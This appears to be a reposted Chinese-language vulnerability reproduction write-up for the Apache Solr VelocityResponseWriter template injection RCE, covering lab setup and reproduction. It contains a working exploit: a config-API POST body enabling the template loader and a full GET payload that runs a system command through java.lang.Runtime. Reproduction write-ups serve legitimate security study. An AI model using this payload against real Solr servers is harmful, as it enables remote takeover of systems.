Apache Solr velocity模板注入RCE漏洞的示例分析

0x01简介

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。Apache Solr velocity模板注入RCE漏洞的示例分析

0x02漏洞介绍

Solr中存在VelocityResponseWriter组件,攻击者可以构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,进而导致Velocity模版注入远程命令执行漏洞,攻击者利用该漏洞可以直接获取到服务器权限。

0x03影响范围

Apache Solr 5.x – 8.2.0,存在config API版本

0x04环境搭建

安装java8环境,然后下载Solr,下载地址:

https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip

下载完成后解压然后进入bin目录执行./solr start

unzip solr-8.2.0.zip

Apache Solr velocity模板注入RCE漏洞的示例分析

启动会出现一些警告信息,我们可以通过修改bin下的solr.in.sh文件来进行消除,将SOLR_ULIMIT_CHECKS设置为false

vim solr.in.sh

Apache Solr velocity模板注入RCE漏洞的示例分析

然后再次进行启动 ./solr start root启动失败的话在后面加上加上-force即可Apache Solr velocity模板注入RCE漏洞的示例分析

在浏览器访问http://ip:8983,出现以下界面表示安装成功Apache Solr velocity模板注入RCE漏洞的示例分析

但是发现不能创建coreApache Solr velocity模板注入RCE漏洞的示例分析

我们先手动在/server/solr/目录下创建一个new_core的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到new_core目录下,之后再点创建Apache Solr velocity模板注入RCE漏洞的示例分析

0x05漏洞复现

创建好Core后访问查看该应用config文件是否可以访问

http://ip:8983/solr/new_core/configApache Solr velocity模板注入RCE漏洞的示例分析

Apache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的params.resource.loader.enabled默认值设置为false,但是可以通过POST请求直接修改整合设置,将其设置为true,然后就可以构造特殊的GET请求来实现远程代码执行。

使用Burp抓取本页面的包,直接构造POST请求,加入以下数据

{

“update-queryresponsewriter”: {

“startup”: “lazy”,

“name”: “velocity”,

“class”: “solr.VelocityResponseWriter”,

“template.base.dir”: “”,

“solr.resource.loader.enabled”: “true”,

“params.resource.loader.enabled”: “true”

}

}

Apache Solr velocity模板注入RCE漏洞的示例分析

接下来我们就可以构造payload来实现RCE

payload:

http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr velocity模板注入RCE漏洞的示例分析

POC地址:https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

0x06修复方式

更新到最新版本

关于“Apache Solr velocity模板注入RCE漏洞的示例分析”就介绍到这了,更多相关内容可以搜索亿速云以前的文章,希望能够帮助大家答疑解惑,请多多支持亿速云网站!

文章标题:Apache Solr velocity模板注入RCE漏洞的示例分析,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/24709

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云
上一篇 2022年9月13日 下午11:42
下一篇 2022年9月13日 下午11:43

相关推荐

  • 2024年9款优质CRM系统全方位解析

    文章介绍的工具有:纷享销客、Zoho CRM、八百客、红圈通、简道云、简信CRM、Salesforce、HubSpot CRM、Apptivo。 在选择合适的CRM系统时,许多企业面临着功能繁多、选择困难的痛点。对于中小企业来说,找到一个既能提高客户关系管理效率,又能适应业务扩展的CRM系统尤为重要…

    2024年7月25日
    1600
  • 数据库权限关系图表是什么

    数据库权限关系图表是一种以图表形式展示数据库权限分配和管理的工具。它可以有效地帮助我们理解和管理数据库中的各种权限关系。数据库权限关系图表主要包含以下几个部分:数据对象、用户(或用户组)、权限类型、权限级别、权限状态等。其中,数据对象是权限关系图表中的核心元素,它代表了数据库中的各种数据资源,如表、…

    2024年7月22日
    200
  • 诚信数据库是什么意思

    诚信数据库是一种收集、存储和管理个人或组织诚信信息的系统。它是一种用于评估和管理个人或组织行为的工具,通常由政府、商业组织或者非营利组织进行运营。诚信数据库的主要功能包括:1、评估个人或组织的诚信状况;2、提供决策支持;3、预防和控制风险;4、促进社会信用体系建设。 在这四大功能中,评估个人或组织的…

    2024年7月22日
    400
  • 数据库期末关系代数是什么

    关系代数是一种对关系进行操作的代数系统,是关系模型的数学基础,主要用于从关系数据库中检索数据。其操作包括选择、投影、并集、差集、笛卡尔积、连接、除法等。其中,选择操作是对关系中的元组进行筛选,只保留满足某一条件的元组;投影操作则是从关系中选择出一部分属性构造一个新的关系。 一、选择操作 选择操作是关…

    2024年7月22日
    700
  • mysql建立数据库用什么命令

    在MySQL中,我们使用"CREATE DATABASE"命令来创建数据库。这是一个非常简单且基础的命令,其语法为:CREATE DATABASE 数据库名。在这个命令中,“CREATE DATABASE”是固定的,而“数据库名”则是你要创建的数据库的名称,可以自己设定。例如,如…

    2024年7月22日
    500
注册PingCode 在线客服
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部